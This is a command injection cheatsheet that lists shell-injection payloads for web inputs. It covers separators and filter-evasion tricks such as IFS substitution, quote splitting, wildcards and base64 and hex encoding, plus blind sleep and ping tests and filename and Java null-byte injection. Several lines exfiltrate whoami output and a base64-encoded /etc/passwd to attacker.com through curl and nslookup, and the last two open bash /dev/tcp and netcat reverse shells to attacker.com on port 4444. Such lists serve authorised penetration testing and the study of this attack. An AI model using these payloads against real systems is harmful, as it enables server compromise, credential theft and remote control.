Command Injection Cheatsheet

Pipe

| id

Double pipe (OR)

|| id

Ampersand

& id

Double ampersand (AND)

&& id

Semicolon

; id

NewlineURL-encoded newline

%0A id

Backticks (Unix)

`id`

Dollar subshell (Unix)

$(id)

Pipe with varied spacing

ls||id; ls ||id; ls|| id; ls || id

Ampersand with spacing

ls&&id; ls &&id; ls&& id; ls && id

IFS as separator$IFS is bash's internal field separator

ls${IFS}id

Empty variable as space

ls${LS_COLORS:10:1}${IFS}id

Tab as space

cat%09/etc/passwd

Time delay (sleep)If the response takes 5 seconds = vulnerable

|| sleep 5

Time delay (ping)

|| ping -c 5 127.0.0.1

DNS callback (exfiltration)

|| curl http://$(whoami).attacker.com

HTTP callback

|| curl http://attacker.com/?d=$(cat /etc/passwd | base64)

Output redirectionThen access /output.txt from the browser

|| whoami > /var/www/html/output.txt

Nslookup exfiltration

|| nslookup $(whoami).attacker.com

Quotes to break up the commandSingle quotes inside the command get concatenated

w'h'o'a'm'i

Double quotes

w"h"o"a"m"i"

Backslash

w\h\o\a\m\i

Environment variableWildcards: /bin/cat /etc/passwd

/???/??t /???/p??s??

Base64 encoded2hvYW1p = whoami in base64

echo d2hvYW1p | base64 -d | bash

Hex encode

echo -e '\x77\x68\x6f\x61\x6d\x69' | bash

Command injection in filenameTry in upload forms when the server processes the filename

filename="test || sleep 30 ||.gif"

Java null byte separationJava uses null bytes to separate process arguments

?prefix=x%00--exec=/bin/bash%20-c%20'id'%00--remote=file:///%00x

Reverse shell (bash)

; bash -i >& /dev/tcp/attacker.com/4444 0>&1

Reverse shell (netcat)

; nc -e /bin/bash attacker.com 4444